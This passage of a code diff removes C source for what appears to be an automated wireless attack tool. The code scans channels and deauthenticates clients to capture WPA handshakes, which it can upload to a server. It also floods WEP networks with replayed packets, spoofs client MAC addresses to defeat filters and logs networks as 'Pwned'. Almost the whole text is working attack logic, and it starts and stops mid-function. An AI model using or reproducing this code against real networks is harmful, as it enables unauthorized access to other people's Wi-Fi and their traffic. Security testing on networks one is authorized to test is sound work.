-		if (read(_state.s_wpafd, buf, l) != l) err(1, "read()");
-
-		if (write(s, buf, l) != l) goto __fail;
-
-		tot -= l;
-	}
-
-	if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail;
-
-	if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()");
-
-	while ((tot = read(s, buf, sizeof(buf) - 1)) > 0)
-	{
-		char * p;
-
-		buf[tot] = 0;
-
-		p = strstr(buf, "\r\n\r\n");
-		if (!p) goto __fail;
-
-		p += 4;
-
-		if (atoi(p) == 2)
-			ok = 1;
-		else
-			goto __fail;
-	}
-
-	if (!ok) goto __fail;
-
-	close(s);
-
-	time_printf(
-		V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server);
-
-	return;
-__fail:
-	close(s);
-	time_printf(V_NORMAL, "WPA handshake upload failed\n");
-}
-
-static void wpa_crack(struct network * n)
-{
-	int i;
-
-	packet_write_pcap(_state.s_wpafd, &n->n_beacon);
-
-	for (i = 0; i < 4; i++)
-	{
-		struct packet * p = &n->n_client_handshake->c_handshake[i];
-
-		if (p->p_len) packet_write_pcap(_state.s_wpafd, p);
-	}
-
-	fsync(_state.s_wpafd);
-
-	if (_conf.cf_wpa_server)
-		wpa_upload();
-	else
-	{
-		time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa);
-	}
-
-	/* that was fast cracking! */
-	n->n_astate = ASTATE_DONE;
-
-	attack_continue(n);
-}
-
-static void attack_wpa(struct network * n)
-{
-	switch (n->n_astate)
-	{
-		case ASTATE_READY:
-			n->n_astate = ASTATE_DEAUTH;
-		/* fallthrough */
-		case ASTATE_DEAUTH:
-			deauth(n);
-			break;
-
-		case ASTATE_WPA_CRACK:
-			wpa_crack(n);
-			break;
-	}
-}
-
-static void hop(void * arg)
-{
-	int old = _state.s_chan;
-
-	if (_state.s_state != STATE_SCAN) return;
-
-	while (1)
-	{
-		struct channel * c = _state.s_hopchan->c_next;
-
-		if (c->c_num == old) break;
-
-		// skip unsupported chan.  XXX check if we run out.
-		if (wi_set_channel(_state.s_wi, c->c_num) == -1)
-		{
-			_state.s_hopchan->c_next = c->c_next;
-			free(c);
-		}
-		else
-			break;
-	}
-
-	_state.s_hopchan = _state.s_hopchan->c_next;
-	_state.s_chan = _state.s_hopchan->c_num;
-
-	// XXX assume we don't lose head
-	if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++;
-
-	timer_in(_conf.cf_hopfreq * 1000, hop, arg);
-}
-
-static void scan_start(void)
-{
-	_state.s_state = STATE_SCAN;
-	_state.s_hopcycles = 0;
-
-	hop(NULL); /* XXX check other hopper */
-}
-
-static void send_auth(struct network * n)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	uint16_t * rc = (uint16_t *) (wh + 1);
-
-	fill_basic(n, wh);
-	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
-	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
-	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
-
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
-
-	*rc++ = htole16(0);
-	*rc++ = htole16(1);
-	*rc++ = htole16(0);
-
-	wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
-}
-
-static void ping_send(struct network * n)
-{
-	send_auth(n);
-
-	time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid);
-
-	n->n_ping_sent++;
-}
-
-static void ping_reply(struct network * n, struct ieee80211_frame * wh)
-{
-	uint16_t * p = (uint16_t *) (wh + 1);
-
-	if (le16toh(p[1]) == 2)
-	{
-		time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid);
-		n->n_ping_got++;
-	}
-}
-
-static void set_mac(void * mac)
-{
-	if (memcmp(mac, _state.s_mac, 6) == 0) return;
-#if 0
-	if (wi_set_mac(_state.s_wi, mac) == -1)
-			err(1, "wi_set_mac()");
-#endif
-	time_printf(V_VERBOSE,
-				"Can't set MAC - this'll suck."
-				" Set it manually to %s for best performance.\n",
-				mac2str(mac));
-
-	memcpy(_state.s_mac, mac, 6);
-}
-
-static int have_mac(struct network * n)
-{
-	if (!n->n_mac_filter) return 1;
-
-	/* XXX try different clients based on feedback */
-	if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next;
-
-	if (!n->n_client_mac) return 0;
-
-	set_mac(n->n_client_mac->c_mac);
-
-	return 1;
-}
-
-static void attack_ping(void * a)
-{
-	struct network * n = a;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
-
-	if (n->n_ping_sent == 10)
-	{
-		int got = n->n_ping_got;
-		int sent = n->n_ping_sent;
-		int loss = 100 - ((double) got / (double) sent * 100.0);
-
-		if (loss < 0) loss = 0;
-
-		time_printf(V_VERBOSE,
-					"Ping results for %s %d/%d (%d%% loss)\n",
-					n->n_ssid,
-					got,
-					sent,
-					loss);
-
-		if (loss >= 80)
-		{
-			time_printf(V_NORMAL,
-						"Crappy connection - %s unreachable"
-						" got %d/%d (%d%% loss) [%d dbm]\n",
-						n->n_ssid,
-						got,
-						sent,
-						loss,
-						n->n_dbm);
-
-			n->n_astate = ASTATE_UNREACH;
-		}
-		else
-			n->n_astate = ASTATE_READY;
-
-		attack_continue(n);
-		return;
-	}
-
-	ping_send(n);
-
-	timer_in(100 * 1000, attack_ping, n);
-}
-
-#ifdef HAVE_PCRE
-static int is_filtered_essid(char * essid)
-{
-	int ret = 0;
-
-	if (_conf.cf_essid_regex)
-	{
-		return pcre_exec(_conf.cf_essid_regex,
-						 NULL,
-						 (char *) essid,
-						 strnlen((char *) essid, MAX_IE_ELEMENT_SIZE),
-						 0,
-						 0,
-						 NULL,
-						 0)
-			   < 0;
-	}
-
-	return ret;
-}
-#endif
-
-// this should always return true -sorbo
-static int should_attack(struct network * n)
-{
-	if (_conf.cf_bssid && memcmp(_conf.cf_bssid, n->n_bssid, 6) != 0) return 0;
-
-#ifdef HAVE_PCRE
-	if (is_filtered_essid(n->n_ssid))
-	{
-		return 0;
-	}
-#endif
-
-	if (!n->n_have_beacon) return 0;
-
-	switch (n->n_astate)
-	{
-		case ASTATE_DONE:
-		case ASTATE_UNREACH:
-			if (_conf.cf_bssid) _state.s_state = STATE_DONE;
-			return 0;
-	}
-
-	if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return 0;
-
-	if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return 0;
-
-	return 1;
-}
-
-static int check_ownable(struct network * n) { return should_attack(n); }
-
-static int check_owned(struct network * n)
-{
-	/* resumed network */
-	if (n->n_beacon.p_len == 0) return 0;
-
-	return n->n_astate == ASTATE_DONE;
-}
-
-static int check_unreach(struct network * n)
-{
-	return n->n_astate == ASTATE_UNREACH;
-}
-
-static void print_list(char * label, check_cb cb)
-{
-	struct network * n = _state.s_networks.n_next;
-	int first = 1;
-
-	printf("%s [", label);
-
-	while (n)
-	{
-		if (cb(n))
-		{
-			if (first)
-				first = 0;
-			else
-				printf(", ");
-
-			printf("%s", n->n_ssid);
-			if (n->n_crypto == CRYPTO_WPA) printf("*");
-		}
-		n = n->n_next;
-	}
-
-	printf("]");
-}
-
-static void print_work(void)
-{
-	time_printf(V_NORMAL, "");
-
-	print_list("TO-OWN", check_ownable);
-	print_list(" OWNED", check_owned);
-	if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach);
-
-	printf("\n");
-
-	save_log();
-}
-
-static void pwned(struct network * n)
-{
-	int s = (_state.s_now.tv_sec - n->n_start.tv_sec);
-	int m = s / 60;
-
-	s -= m * 60;
-
-	time_printf(
-		V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s);
-
-	n->n_astate = ASTATE_DONE;
-
-	print_work();
-}
-
-static struct network * attack_get(void)
-{
-	struct network *n = _state.s_networks.n_next, *start;
-
-	if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next;
-
-	start = n;
-
-	while (n)
-	{
-		if (should_attack(n)) return n;
-
-		n = n->n_next;
-		if (n == NULL)
-		{
-			/* reached head, lets scan for a bit */
-			if (_state.s_state == STATE_ATTACK) return NULL;
-
-			n = _state.s_networks.n_next;
-		}
-		if (n == start) break;
-	}
-
-	return NULL;
-}
-
-static void attack_next(void)
-{
-	struct network * n;
-
-	if ((n = attack_get()))
-	{
-		attack(n);
-		return;
-	}
-
-	if (_state.s_state == STATE_DONE) return;
-
-	/* we aint got people to pwn */
-	if (_state.s_state == STATE_ATTACK) scan_start();
-}
-
-static int watchdog_next(struct network * n)
-{
-	if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD
-		&& n->n_replay_got)
-	{
-		int diff;
-		int to = _conf.cf_floodwait * 1000 * 1000;
-
-		diff = time_diff(&n->n_replay_last, &_state.s_now);
-
-		if (diff < to) return to - diff;
-	}
-
-	return 0;
-}
-
-static void attack_watchdog(void * arg)
-{
-	struct network * n = arg;
-	int next;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
-
-	next = watchdog_next(n);
-
-	if (next <= 0 || next >= INT_MAX)
-	{
-		time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid);
-		attack_next();
-	}
-	else
-		timer_in(next, attack_watchdog, n);
-}
-
-static void network_auth(void * a)
-{
-	struct network * n = a;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_wstate != WSTATE_NONE)
-		return;
-
-	if (!have_mac(n)) return;
-
-	time_printf(V_VERBOSE, "Authenticating...\n");
-
-	send_auth(n);
-
-	timer_in(_conf.cf_to * 1000, network_auth, n);
-}
-
-static void do_assoc(struct network * n, int stype)
-{
-	unsigned char buf[2048];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	uint16_t * rc = (uint16_t *) (wh + 1);
-	unsigned char * p;
-
-	fill_basic(n, wh);
-	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
-	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
-	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
-
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype;
-
-	*rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY
-					| IEEE80211_CAPINFO_SHORT_PREAMBLE);
-	*rc++ = htole16(0);
-
-	p = (unsigned char *) rc;
-
-	if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
-	{
-		memcpy(p, n->n_bssid, sizeof(n->n_bssid));
-		p += sizeof(n->n_bssid);
-	}
-
-	*p++ = IEEE80211_ELEMID_SSID;
-	*p++ = strlen(n->n_ssid);
-	memcpy(p, n->n_ssid, strlen(n->n_ssid));
-	p += strlen(n->n_ssid);
-
-	// rates
-	*p++ = IEEE80211_ELEMID_RATES;
-	*p++ = 8;
-	*p++ = 2 | 0x80;
-	*p++ = 4 | 0x80;
-	*p++ = 11 | 0x80;
-	*p++ = 22 | 0x80;
-	*p++ = 12 | 0x80;
-	*p++ = 24 | 0x80;
-	*p++ = 48 | 0x80;
-	*p++ = 72;
-
-	/* x-rates */
-	*p++ = IEEE80211_ELEMID_XRATES;
-	*p++ = 4;
-	*p++ = 48;
-	*p++ = 72;
-	*p++ = 96;
-	*p++ = 108;
-
-	wifi_send(wh, (unsigned long) p - (unsigned long) wh);
-}
-
-static void network_assoc(void * a)
-{
-	struct network * n = a;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_wstate != WSTATE_AUTH)
-		return;
-
-	do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ);
-
-	time_printf(V_VERBOSE, "Associating...\n");
-
-	timer_in(_conf.cf_to * 1000, network_assoc, n);
-}
-
-static int need_connect(struct network * n)
-{
-	if (n->n_crypto == CRYPTO_WPA) return 0;
-
-	switch (n->n_astate)
-	{
-		case ASTATE_READY:
-		case ASTATE_WEP_PRGA_GET:
-		case ASTATE_WEP_FLOOD:
-			return 1;
-
-		default:
-			return 0;
-	}
-}
-
-static int network_connect(struct network * n)
-{
-	switch (n->n_wstate)
-	{
-		case WSTATE_NONE:
-			network_auth(n);
-			break;
-
-		case WSTATE_AUTH:
-			network_assoc(n);
-			break;
-
-		case WSTATE_ASSOC:
-			return 1;
-	}
-
-	return 0;
-}
-
-static void prga_get(struct network * n)
-{
-	if (n->n_replay_len)
-	{
-		n->n_astate = ASTATE_WEP_FLOOD;
-		attack_continue(n);
-		return;
-	}
-}
-
-static void speed_add(struct speed * s)
-{
-	if (s->s_start.tv_sec == 0)
-		memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
-
-	s->s_num++;
-}
-
-static void speed_calculate(struct speed * s)
-{
-	int diff = time_diff(&s->s_start, &_state.s_now);
-
-	if (diff < (1000 * 1000)) return;
-
-	s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0));
-
-	memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
-	s->s_num = 0;
-}
-
-static void do_flood(struct network * n)
-{
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) n->n_replay;
-
-	if (!network_connect(n)) return;
-
-	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
-
-	wifi_send(n->n_replay, n->n_replay_len);
-	speed_add(&n->n_flood_out);
-}
-
-static void wep_flood(void * a)
-{
-	struct network * n = a;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_astate != ASTATE_WEP_FLOOD)
-		return;
-
-	do_flood(n);
-
-	timer_in(_conf.cf_floodfreq, wep_flood, n);
-}
-
-static void replay_check(void * a)
-{
-	struct network * n = a;
-
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_astate != ASTATE_WEP_FLOOD)
-		return;
-
-	if (n->n_replay_got > 3) return;
-
-	n->n_replay_len = 0;
-	n->n_astate = ASTATE_WEP_PRGA_GET;
-}
-
-static void start_flood(struct network * n)
-{
-	n->n_replay_got = 0; /* refresh replay packet if it sucks */
-
-	timer_in(5 * 1000 * 1000, replay_check, n);
-	wep_flood(n);
-}
-
-static void attack_wep(struct network * n)
-{
-	if (!n->n_ssid[0])
-	{
-		n->n_astate = ASTATE_DEAUTH;
-		deauth(n);
-		return;
-	}
-
-	if (!network_connect(n)) return;
-
-	switch (n->n_astate)
-	{
-		case ASTATE_READY:
-			n->n_astate = ASTATE_WEP_PRGA_GET;
-		/* fallthrough */
-		case ASTATE_WEP_PRGA_GET:
-			prga_get(n);
-			break;
-
-		case ASTATE_WEP_FLOOD:
-			start_flood(n);
-			break;
-	}
-}
-
-static void attack_continue(struct network * n)
-{
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
-
-	switch (n->n_astate)
-	{
-		case ASTATE_NONE:
-			n->n_astate = ASTATE_PING;
-		/* fall through */
-		case ASTATE_PING:
-			n->n_ping_got = n->n_ping_sent = 0;
-			attack_ping(n);
-			return;
-
-		case ASTATE_DONE:
-			pwned(n);
-		/* fallthrough */
-		case ASTATE_UNREACH:
-			if (_conf.cf_bssid)
-				_state.s_state = STATE_DONE;
-			else
-				attack_next();
-			return;
-	}
-
-	switch (n->n_crypto)
-	{
-		case CRYPTO_WPA:
-			attack_wpa(n);
-			break;
-
-		case CRYPTO_WEP:
-			attack_wep(n);
-			break;
-	}
-}
-
-static void attack(struct network * n)
-{
-	_state.s_curnet = n;
-	_state.s_state = STATE_ATTACK;
-
-	channel_set(n->n_chan);
-
-	time_printf(V_VERBOSE, "Pwning [%s] %s\n", n->n_ssid, mac2str(n->n_bssid));
-
-	if (n->n_start.tv_sec == 0)
-		memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start));
-
-	if (!_conf.cf_bssid)
-		timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n);
-
-	n->n_attempts++;
-
-	attack_continue(n);
-}
-
-static void found_new_client(struct network * n, struct client * c)
-{
-	time_printf(V_VERBOSE,
-				"Found client for network [%s] %s\n",
-				n->n_ssid,
-				mac2str(c->c_mac));
-
-	if (n->n_mac_filter && !n->n_client_mac) attack_continue(n);
-}
-
-static void found_new_network(struct network * n)
-{
-	struct client * c = n->n_clients.c_next;
-
-	network_print(n);
-
-	while (c)
-	{
-		found_new_client(n, c);
-		c = c->c_next;
-	}
-
-	if (_conf.cf_bssid
-		&& memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0)
-	{
-		if (should_attack(n))
-		{
-			attack(n);
-		}
-		else
-		{
-			time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid);
-			_state.s_state = STATE_DONE;
-		}
-	}
-}
-
-static void packet_copy(struct packet * p, void * d, int len)
-{
-	assert(len <= (int) sizeof(p->p_data));
-
-	p->p_len = len;
-	memcpy(p->p_data, d, len);
-}
-
-static void packet_write_pcap(int fd, struct packet * p);
-
-static void found_ssid(struct network * n)
-{
-	unsigned char * p;
-	int ssidlen;
-	int origlen;
-
-	time_printf(
-		V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac2str(n->n_bssid));
-
-	/* beacon surgery */
-	p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
-
-	ssidlen = strlen(n->n_ssid);
-	assert((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data));
-
-	assert(*p == IEEE80211_ELEMID_SSID);
-	p++;
-
-	origlen = *p;
-	*p++ = ssidlen;
-
-	assert(origlen == 0 || p[0] == 0);
-
-	memmove(p + ssidlen,
-			p + origlen,
-			n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data));
-	memcpy(p, n->n_ssid, ssidlen);
-
-	n->n_beacon.p_len += ssidlen - origlen;
-
-	if (n->n_client_handshake)
-	{
-		n->n_astate = ASTATE_WPA_CRACK;
-		attack_continue(n);
-	}
-
-	if (n->n_crypto == CRYPTO_WEP)
-	{
-		n->n_astate = ASTATE_READY;
-		attack_continue(n);
-	}
-}
-
-static int parse_rsn(struct network * n, unsigned char * p, int l, int rsn)
-{
-	int c;
-	unsigned char * start = p;
-	int psk = 0;
-
-	if (l < 2 || l >= INT_MAX) return 0;
-
-	if (memcmp(p, "\x01\x00", 2) != 0) return 0;
-
-	n->n_crypto = CRYPTO_WPA;
-
-	if (l < 8) return -1;
-
-	p += 2;
-	p += 4;
-
-	/* cipher */
-	c = le16toh(*((uint16_t *) p));
-
-	p += 2 + 4 * c;
-
-	if (l < ((p - start) + 2)) return -1;
-
-	/* auth */
-	c = le16toh(*((uint16_t *) p));
-	p += 2;
-
-	if (l < ((p - start) + c * 4)) return -1;
-
-	while (c--)
-	{
-		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
-
-		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
-
-		p += 4;
-	}
-
-	assert(l >= (p - start));
-
-	if (!psk) n->n_crypto = CRYPTO_WPA_MGT;
-
-	return 0;
-}
-
-static int parse_elem_vendor(struct network * n, unsigned char * e, int l)
-{
-	struct ieee80211_ie_wpa * wpa = (struct ieee80211_ie_wpa *) e;
-
-	if (l < 5) return 0;
-
-	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0;
-
-	if (l < 8) return 0;
-
-	if (wpa->wpa_type != WPA_OUI_TYPE) return 0;
-
-	return parse_rsn(n, (unsigned char *) &wpa->wpa_version, l - 6, 0);
-}
-
-static void
-wifi_beacon(struct network * n, struct ieee80211_frame * wh, int totlen)
-{
-	unsigned char * p = (unsigned char *) (wh + 1);
-	int bhlen = 8 + 2 + 2;
-	int new = 0;
-	int len = totlen;
-	int hidden = 0;
-	int ssids = 0;
-
-	totlen -= sizeof(*wh);
-
-	if (totlen < bhlen) goto __bad;
-
-	if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
-
-	if (!n->n_have_beacon) new = 1;
-
-	n->n_have_beacon = 1;
-	n->n_crypto = CRYPTO_WEP;
-	n->n_dbm = _state.s_ri->ri_power;
-
-	p += bhlen;
-	totlen -= bhlen;
-
-	while (totlen > 2)
-	{
-		int id = *p++;
-		int l = *p++;
-
-		totlen -= 2;
-
-		if (totlen < l) goto __bad;
-
-		switch (id)
-		{
-			case IEEE80211_ELEMID_SSID:
-				if (++ssids > 1) break;
-
-				if (l == 0 || p[0] == 0)
-					hidden = 1;
-				else
-				{
-					memcpy(n->n_ssid, p, l);
-					n->n_ssid[l] = 0;
-				}
-				break;
-
-			case IEEE80211_ELEMID_DSPARMS:
-				n->n_chan = *p;
-				break;
-
-			case IEEE80211_ELEMID_VENDOR:
-				if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad;
-				break;
-
-			case IEEE80211_ELEMID_RSN:
-				if (parse_rsn(n, p, l, 1) == -1) goto __bad;
-				break;
-
-			default:
-				//			printf("id %d len %d\n", id, l);
-				break;
-		}
-
-		p += l;
-		totlen -= l;
-	}
-
-	if (new)
-	{
-		packet_copy(&n->n_beacon, wh, len);
-		found_new_network(n);
-
-		if (hidden && n->n_ssid[0]) found_ssid(n);
-
-		if (ssids > 1 && should_attack(n))
-		{
-			time_printf(V_NORMAL,
-						"WARNING: unsupported multiple SSIDs"
-						" for network %s [%s]\n",
-						mac2str(n->n_bssid),
-						n->n_ssid);
-		}
-	}
-
-	return;
-__bad:
-	printf("\nBad beacon\n");
-}
-
-static int for_us(struct ieee80211_frame * wh)
-{
-	return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0;
-}
-
-static void has_mac_filter(struct network * n)
-{
-	time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid);
-	n->n_mac_filter = 1;
-}
-
-static void wifi_auth(struct network * n, struct ieee80211_frame * wh, int len)
-{
-	uint16_t * p = (uint16_t *) (wh + 1);
-	int rc;
-
-	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
-
-	rc = le16toh(p[2]);
-
-	if (for_us(wh) && rc != 0)
-	{
-		if (!n->n_mac_filter) has_mac_filter(n);
-	}
-
-	if (for_us(wh) && n->n_astate == ASTATE_PING)
-	{
-		ping_reply(n, wh);
-		return;
-	}
-
-	if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n))
-	{
-		if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return;
-
-		if (le16toh(p[2]) == 0)
-		{
-			n->n_wstate = WSTATE_AUTH;
-			time_printf(V_VERBOSE, "Authenticated\n");
-			network_connect(n);
-		}
-	}
-
-	return;
-__bad:
-	printf("Bad auth\n");
-}
-
-static void found_mac(struct network * n)
-{
-	if (!n->n_mac_filter || n->n_got_mac) return;
-
-	assert(n->n_client_mac);
-
-	time_printf(V_NORMAL,
-				"Found MAC %s for %s\n",
-				mac2str(n->n_client_mac->c_mac),
-				n->n_ssid);
-
-	n->n_got_mac = 1;
-}
-
-static void
-wifi_assoc_resp(struct network * n, struct ieee80211_frame * wh, int len)
-{
-	uint16_t * p = (uint16_t *) (wh + 1);
-
-	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
-
-	if (for_us(wh) && n->n_wstate == WSTATE_AUTH)
-	{
-		if (le16toh(p[1]) == 0)
-		{
-			int aid = le16toh(p[2]) & 0x3FFF;
-
-			n->n_wstate = WSTATE_ASSOC;
-			time_printf(
-				V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid);
-
-			found_mac(n);
-
-			attack_continue(n);
-		}
-		else
-			time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1]));
-	}
-
-	return;
-__bad:
-	printf("Bad assoc resp\n");
-}
-
-static void grab_hidden_ssid(struct network * n,
-							 struct ieee80211_frame * wh,
-							 int len,
-							 int off)
-{
-	unsigned char * p = ((unsigned char *) (wh + 1)) + off;
-	int l;
-
-	if (n->n_ssid[0]) return;
-
-	len -= sizeof(*wh) + off + 2;
-
-	if (len < 0) goto __bad;
-
-	if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
-
-	l = *p++;
-	if (l > len) goto __bad;
-
-	if (l == 0) return;
-
-	memcpy(n->n_ssid, p, l);
-	n->n_ssid[l] = 0;
-
-	if (!n->n_have_beacon) return;
-
-	found_ssid(n);
-	return;
-__bad:
-	printf("\nbad grab_hidden_ssid\n");
-	return;
-}
-
-static void wifi_mgt(struct network * n, struct ieee80211_frame * wh, int len)
-{
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-	{
-		case IEEE80211_FC0_SUBTYPE_BEACON:
-			wifi_beacon(n, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_AUTH:
-			wifi_auth(n, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-			wifi_assoc_resp(n, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_DEAUTH:
-			if (for_us(wh) && need_connect(n))
-			{
-				time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid);
-				n->n_wstate = WSTATE_NONE;
-				network_connect(n);
-			}
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-			grab_hidden_ssid(n, wh, len, 2 + 2);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
-			grab_hidden_ssid(n, wh, len, 2 + 2 + 6);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-			grab_hidden_ssid(n, wh, len, 8 + 2 + 2);
-			break;
-
-		default:
-			if (for_us(wh))
-			{
-				printf("UNHANDLED MGMT %d\n",
-					   (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-						   >> IEEE80211_FC0_SUBTYPE_SHIFT);
-			}
-			break;
-	}
-}
-
-static void wifi_ctl(struct ieee80211_frame * wh, int len)
-{
-	//	printf("ctl\n");
-
-	if (wh && len)
-	{
-	}
-}
-
-static unsigned char * get_client_mac(struct ieee80211_frame * wh)
-{
-	unsigned char * bssid = get_bssid(wh);
-	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-
-	if (type == IEEE80211_FC0_TYPE_CTL) return NULL;
-
-	if (!bssid) return wh->i_addr2;
-
-	if (bssid == wh->i_addr1)
-		return wh->i_addr2;
-	else
-		return wh->i_addr1;
-}
-
-static struct client * client_get(struct network * n,
-								  struct ieee80211_frame * wh)
-{
-	struct client * c = n->n_clients.c_next;
-	unsigned char * cmac = get_client_mac(wh);
-
-	if (!cmac) return NULL;
-
-	while (c)
-	{
-		if (memcmp(c->c_mac, cmac, 6) == 0) return c;
-
-		c = c->c_next;
-	}
-
-	return NULL;
-}
-
-static struct client * client_update(struct network * n,
-									 struct ieee80211_frame * wh)
-{
-	unsigned char * cmac = get_client_mac(wh);
-	struct client * c;
-	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-
-	if (!cmac) return NULL;
-
-	/* let's not pwn ourselves */
-	if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return NULL;
-
-	if (cmac == wh->i_addr1)
-	{
-		if (memcmp(cmac, BROADCAST, 6) == 0) return NULL;
-
-		/* multicast */
-		if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return NULL;
-
-		/* ipv6 multicast */
-		if (memcmp(cmac, "\x33\x33", 2) == 0) return NULL;
-
-		/* MAC PAUSE */
-		if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return NULL;
-
-		/* fuck it */
-		if (cmac[0] == 0x01) return NULL;
-	}
-
-	/* here we can choose how conservative to be */
-	if (type == IEEE80211_FC0_TYPE_MGT)
-	{
-		switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-		{
-			case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-				break;
-
-			case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-			default:
-				return NULL;
-		}
-	}
-
-	c = client_get(n, wh);
-	if (!c)
-	{
-		c = xmalloc(sizeof(*c));
-
-		memset(c, 0, sizeof(*c));
-
-		memcpy(c->c_mac, cmac, sizeof(c->c_mac));
-		c->c_next = n->n_clients.c_next;
-		n->n_clients.c_next = c;
-
-		if (n->n_have_beacon
-			&& (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP))
-			found_new_client(n, c);
-	}
-
-	return c;
-}
-
-static int eapol_handshake_step(unsigned char * eapol, int len)
-{
-	int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2;
-
-	if (len < eapol_size) return 0;
-
-	/* not pairwise */
-	if ((eapol[6] & 0x08) == 0) return 0;
-
-	/* 1: has no mic */
-	if ((eapol[5] & 1) == 0) return 1;
-
-	/* 3: has ack */
-	if ((eapol[6] & 0x80) != 0) return 3;
-
-	if (*((uint16_t *) &eapol[eapol_size - 2]) == 0) return 4;
-
-	return 2;
-}
-
-static void process_eapol(struct network * n,
-						  struct client * c,
-						  unsigned char * p,
-						  int len,
-						  struct ieee80211_frame * wh,
-						  int totlen)
-{
-	int num, i;
-
-	if (n->n_client_handshake) return;
-
-	num = eapol_handshake_step(p, len);
-	if (num == 0) return;
-
-	/* reset... should use time, too.  XXX conservative - check retry */
-	if (c->c_wpa == 0 || num <= c->c_wpa)
-	{
-		for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
-
-		c->c_wpa_got = 0;
-	}
-
-	c->c_wpa = num;
-
-	switch (num)
-	{
-		case 1:
